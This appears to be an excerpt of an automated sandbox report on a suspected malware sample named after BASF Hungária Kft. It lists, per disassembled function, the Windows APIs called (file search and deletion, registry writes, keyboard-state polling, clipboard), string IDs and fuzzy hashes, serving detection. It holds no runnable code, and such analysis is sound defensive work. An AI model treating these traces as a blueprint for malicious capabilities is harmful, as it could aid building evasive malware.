                                                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0079C806
                                                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0079C81D
                                                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 0079C844
                                                              • __swprintf.LIBCMT ref: 0079C890
                                                              • __swprintf.LIBCMT ref: 0079C8D3
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • __swprintf.LIBCMT ref: 0079C927
                                                                • Part of subcall function 00753698: __woutput_l.LIBCMT ref: 007536F1
                                                              • __swprintf.LIBCMT ref: 0079C975
                                                                • Part of subcall function 00753698: __flsbuf.LIBCMT ref: 00753713
                                                                • Part of subcall function 00753698: __flsbuf.LIBCMT ref: 0075372B
                                                              • __swprintf.LIBCMT ref: 0079C9C4
                                                              • __swprintf.LIBCMT ref: 0079CA13
                                                              • __swprintf.LIBCMT ref: 0079CA62
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                                              • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                                              • API String ID: 3953360268-2428617273
                                                              • Opcode ID: a58699bf71fa258149d33e61f4d21c268c9030e90a213e38757bf6fc1336f801
                                                              • Instruction ID: a7b51382396677ba540ca9b2079f408c11d88b0a14bde7b69bd60d35de982ecd
                                                              • Opcode Fuzzy Hash: a58699bf71fa258149d33e61f4d21c268c9030e90a213e38757bf6fc1336f801
                                                              • Instruction Fuzzy Hash: C4A13EB1508304EBD755EFA4C889DAFB7ECFF94700F404919F585C6192EA78EA08CB62
                                                              Function 0079EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0079EFB6
                                                              • _wcscmp.LIBCMT ref: 0079EFCB
                                                              • _wcscmp.LIBCMT ref: 0079EFE2
                                                              • GetFileAttributesW.KERNEL32(?), ref: 0079EFF4
                                                              • SetFileAttributesW.KERNEL32(?,?), ref: 0079F00E
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0079F026
                                                              • FindClose.KERNEL32(00000000), ref: 0079F031
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 0079F04D
                                                              • _wcscmp.LIBCMT ref: 0079F074
                                                              • _wcscmp.LIBCMT ref: 0079F08B
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079F09D
                                                              • SetCurrentDirectoryW.KERNEL32(007E8920), ref: 0079F0BB
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0079F0C5
                                                              • FindClose.KERNEL32(00000000), ref: 0079F0D2
                                                              • FindClose.KERNEL32(00000000), ref: 0079F0E4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                                              • String ID: *.*
                                                              • API String ID: 1803514871-438819550
                                                              • Opcode ID: 71a614ed263ee15bed54fb3ffdc934e2ac12922979e5834860b68efed3ec8866
                                                              • Instruction ID: 3b62a6b63d3c4c8bc520ff2e650deb69c1a01cf5e5f29bdbb6bc82785954833c
                                                              • Opcode Fuzzy Hash: 71a614ed263ee15bed54fb3ffdc934e2ac12922979e5834860b68efed3ec8866
                                                              • Instruction Fuzzy Hash: 2731C5329012186ADF14DBB8EC49FEE77ACAF48761F144176E804D30A1EB78DA44CB65
                                                              Function 007B0857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007B0953
                                                              • RegCreateKeyExW.ADVAPI32(?,?,00000000,007BF910,00000000,?,00000000,?,?), ref: 007B09C1
                                                              • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 007B0A09
                                                              • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 007B0A92
                                                              • RegCloseKey.ADVAPI32(?), ref: 007B0DB2
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 007B0DBF
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Close$ConnectCreateRegistryValue
                                                              • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                              • API String ID: 536824911-966354055
                                                              • Opcode ID: 9eb4f75499dc7a7885658d7182c767355387a410e81264f5217be9dbaf16528d
                                                              • Instruction ID: e014a48ce59b164332241c186fbc018a22ba166cecec39c660a39bb6a458f5b5
                                                              • Opcode Fuzzy Hash: 9eb4f75499dc7a7885658d7182c767355387a410e81264f5217be9dbaf16528d
                                                              • Instruction Fuzzy Hash: 63024875600601DFDB14EF18C899EAAB7E5EF89710F04855CF9899B3A2DB78ED01CB81
                                                              Function 007466E1 Relevance: 25.9, Strings: 20, Instructions: 889COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: 0D}$0E}$0F}$3ct$ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)$pG}$_t
                                                              • API String ID: 0-2392564138
                                                              • Opcode ID: 7031770e69356b912e1c5587ee896d51a89800b512ef8d123bab18a8a95a40f3
                                                              • Instruction ID: a69f5dbc4fc47603cd3ebb106f8d37bef1dea652c752343ee1d9ca85fa60fdb0
                                                              • Opcode Fuzzy Hash: 7031770e69356b912e1c5587ee896d51a89800b512ef8d123bab18a8a95a40f3
                                                              • Instruction Fuzzy Hash: 0E7283B5E00219DBDB14DF59C8807EEB7B5FF49310F64816AE909EB290E7389D81CB91
                                                              Function 0079F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 0079F113
                                                              • _wcscmp.LIBCMT ref: 0079F128
                                                              • _wcscmp.LIBCMT ref: 0079F13F
                                                                • Part of subcall function 00794385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 007943A0
                                                              • FindNextFileW.KERNEL32(00000000,?), ref: 0079F16E
                                                              • FindClose.KERNEL32(00000000), ref: 0079F179
                                                              • FindFirstFileW.KERNEL32(*.*,?), ref: 0079F195
                                                              • _wcscmp.LIBCMT ref: 0079F1BC
                                                              • _wcscmp.LIBCMT ref: 0079F1D3
                                                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0079F1E5
                                                              • SetCurrentDirectoryW.KERNEL32(007E8920), ref: 0079F203
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0079F20D
                                                              • FindClose.KERNEL32(00000000), ref: 0079F21A
                                                              • FindClose.KERNEL32(00000000), ref: 0079F22C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                                              • String ID: *.*
                                                              • API String ID: 1824444939-438819550
                                                              • Opcode ID: 25d81f61b8d698ae35271d402891780054606a50de13f6f73277d98325f0e081
                                                              • Instruction ID: 07333d0e6fe631dfb1206323b65292f3af25064e47497f8a729cdef1bc841ce2
                                                              • Opcode Fuzzy Hash: 25d81f61b8d698ae35271d402891780054606a50de13f6f73277d98325f0e081
                                                              • Instruction Fuzzy Hash: F831F336901619AADF149FB4FC49FEE77ACAF49360F144275E804E20A0DB38DE45CA68
                                                              Function 0079A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0079A20F
                                                              • __swprintf.LIBCMT ref: 0079A231
                                                              • CreateDirectoryW.KERNEL32(?,00000000), ref: 0079A26E
                                                              • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0079A293
                                                              • _memset.LIBCMT ref: 0079A2B2
                                                              • _wcsncpy.LIBCMT ref: 0079A2EE
                                                              • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0079A323
                                                              • CloseHandle.KERNEL32(00000000), ref: 0079A32E
                                                              • RemoveDirectoryW.KERNEL32(?), ref: 0079A337
                                                              • CloseHandle.KERNEL32(00000000), ref: 0079A341
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                              • String ID: :$\$\??\%s
                                                              • API String ID: 2733774712-3457252023
                                                              • Opcode ID: 5a3a1e6af4602321e0857a2e5abd5ac664f506deca148b0c8528e91feca57b54
                                                              • Instruction ID: 632abf09cf773bda0b1e0d82cbc632073100b97da24f0e40aacb85fa6327e1dd
                                                              • Opcode Fuzzy Hash: 5a3a1e6af4602321e0857a2e5abd5ac664f506deca148b0c8528e91feca57b54
                                                              • Instruction Fuzzy Hash: B93190B2904209BBDB219FA0DC49FEB37BCEF89741F1041B6F909D2160EB7896458B65
                                                              Function 0079001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetKeyboardState.USER32(?), ref: 00790097
                                                              • SetKeyboardState.USER32(?), ref: 00790102
                                                              • GetAsyncKeyState.USER32(000000A0), ref: 00790122
                                                              • GetKeyState.USER32(000000A0), ref: 00790139
                                                              • GetAsyncKeyState.USER32(000000A1), ref: 00790168
                                                              • GetKeyState.USER32(000000A1), ref: 00790179
                                                              • GetAsyncKeyState.USER32(00000011), ref: 007901A5
                                                              • GetKeyState.USER32(00000011), ref: 007901B3
                                                              • GetAsyncKeyState.USER32(00000012), ref: 007901DC
                                                              • GetKeyState.USER32(00000012), ref: 007901EA
                                                              • GetAsyncKeyState.USER32(0000005B), ref: 00790213
                                                              • GetKeyState.USER32(0000005B), ref: 00790221
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: State$Async$Keyboard
                                                              • String ID:
                                                              • API String ID: 541375521-0
                                                              • Opcode ID: 103e8c7efab31782658a43db80fe724d7b1b40e8f7a76c5b6aa30b12199b1d66
                                                              • Instruction ID: 89719e3d76f692d17b6a08fc12e44d9a6926fc5596ef9c2633f2d2834e3cc6a4
                                                              • Opcode Fuzzy Hash: 103e8c7efab31782658a43db80fe724d7b1b40e8f7a76c5b6aa30b12199b1d66
                                                              • Instruction Fuzzy Hash: 7351E8209147886DFF35DBA4A8547FABFB49F01380F08459AD9C2565C2DAAC9B8CC7E1
                                                              Function 007B03DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,007AFDAD,?,?), ref: 007B0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007B04AC
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 007B054B
                                                              • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 007B05E3
                                                              • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 007B0822
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 007B082F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 1240663315-0
                                                              • Opcode ID: e811da3a4c9290ff1a47f5b32039f432ce7d4fd33f2a74ea41902cb81d4d5d02
                                                              • Instruction ID: 7a15b26813cd4a570337959c96bbcaa5393a47393147c3ad5974592568d63070
                                                              • Opcode Fuzzy Hash: e811da3a4c9290ff1a47f5b32039f432ce7d4fd33f2a74ea41902cb81d4d5d02
                                                              • Instruction Fuzzy Hash: 92E14B71604200EFCB14DF28C895E6BBBE4FF89714F04896DF94ADB262DA35E901CB91
                                                              Function 007A83BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • CoInitialize.OLE32 ref: 007A8403
                                                              • CoUninitialize.OLE32 ref: 007A840E
                                                              • CoCreateInstance.OLE32(?,00000000,00000017,007C2BEC,?), ref: 007A846E
                                                              • IIDFromString.OLE32(?,?), ref: 007A84E1
                                                              • VariantInit.OLEAUT32(?), ref: 007A857B
                                                              • VariantClear.OLEAUT32(?), ref: 007A85DC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                              • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                              • API String ID: 834269672-1287834457
                                                              • Opcode ID: eda6b0f299ce87def4dd05aed5afadc6e4f06a9ae7999c64690b43d715e31b24
                                                              • Instruction ID: 222075a1d59858cbf4f2f9363835ddacfe3fed15375fbe5124f6f42dbe2691ff
                                                              • Opcode Fuzzy Hash: eda6b0f299ce87def4dd05aed5afadc6e4f06a9ae7999c64690b43d715e31b24
                                                              • Instruction Fuzzy Hash: 3F61EF70608312EFD750DF14C848F5ABBE8AF8A714F044A19F9859B291CB78ED44CB93
                                                              Function 007A4164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                              • String ID:
                                                              • API String ID: 1737998785-0
                                                              • Opcode ID: ffd3fb47b438a9818a14f6a2e20b82b8661f2b4bf92545fd7d28b982703580fa
                                                              • Instruction ID: e7803d2286cef01636f4b4be83aa1430a68e5cd559c94d9ada1e0472e539f65f
                                                              • Opcode Fuzzy Hash: ffd3fb47b438a9818a14f6a2e20b82b8661f2b4bf92545fd7d28b982703580fa
                                                              • Instruction Fuzzy Hash: 0B216035200214DFDB10AF64DC49F6D7BA8FF85715F108126F945DB2A1DBB9AC01CB58
                                                              Function 007937EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00734750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00734743,?,?,007337AE,?), ref: 00734770
                                                                • Part of subcall function 00794A31: GetFileAttributesW.KERNEL32(?,0079370B), ref: 00794A32
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 007938A3
                                                              • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0079394B
                                                              • MoveFileW.KERNEL32(?,?), ref: 0079395E
                                                              • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0079397B
                                                              • FindNextFileW.KERNEL32(00000000,00000010), ref: 0079399D
                                                              • FindClose.KERNEL32(00000000,?,?,?,?), ref: 007939B9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                              • String ID: \*.*
                                                              • API String ID: 4002782344-1173974218
                                                              • Opcode ID: e1f5fb39e340da32574993c07fdb5ab2c090c38fc1be935be8d6fe587a76b1e7
                                                              • Instruction ID: 10a6142c66490f1f34ec0b58a3ea87d2a0b0cdcded7a7fdc802f660dc290c87a
                                                              • Opcode Fuzzy Hash: e1f5fb39e340da32574993c07fdb5ab2c090c38fc1be935be8d6fe587a76b1e7
                                                              • Instruction Fuzzy Hash: 4251AB7180014CEADF15EBA0EA96EFDB778AF10314F604169E406B7192EF386F09CB61
                                                              Function 0079F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                              • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0079F440
                                                              • Sleep.KERNEL32(0000000A), ref: 0079F470
                                                              • _wcscmp.LIBCMT ref: 0079F484
                                                              • _wcscmp.LIBCMT ref: 0079F49F
                                                              • FindNextFileW.KERNEL32(?,?), ref: 0079F53D
                                                              • FindClose.KERNEL32(00000000), ref: 0079F553
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                                              • String ID: *.*
                                                              • API String ID: 713712311-438819550
                                                              • Opcode ID: 66bd1320a90b19ee5ad85be1925e94b3d74f960e09247a6e2b80517fd75b6e6f
                                                              • Instruction ID: b9c0ed551b4450819c03dcc6885a162b0aa064d52f6d9d186ba540e074afa53a
                                                              • Opcode Fuzzy Hash: 66bd1320a90b19ee5ad85be1925e94b3d74f960e09247a6e2b80517fd75b6e6f
                                                              • Instruction Fuzzy Hash: 34417C7190021AEFDF14EF64DC49AEEBBB8FF05310F144566E815A31A1EB38AA54CF61
                                                              Function 00743030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __itow__swprintf
                                                              • String ID: 3ct$_t
                                                              • API String ID: 674341424-1670605766
                                                              • Opcode ID: 4c8de6875d521b68804d4713efa397b6f62c0a0ecc7352326cad9f172b777aa8
                                                              • Instruction ID: 7231af76fb75c6ca739ac6cfefccff75cbfcae0a00337cb7304a95a1bc01e13e
                                                              • Opcode Fuzzy Hash: 4c8de6875d521b68804d4713efa397b6f62c0a0ecc7352326cad9f172b777aa8
                                                              • Instruction Fuzzy Hash: 9922BE71608740DFDB24DF14C885BAEB7E4BF84710F10892DF99A97292DB79E904CB92
                                                              Function 00745760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
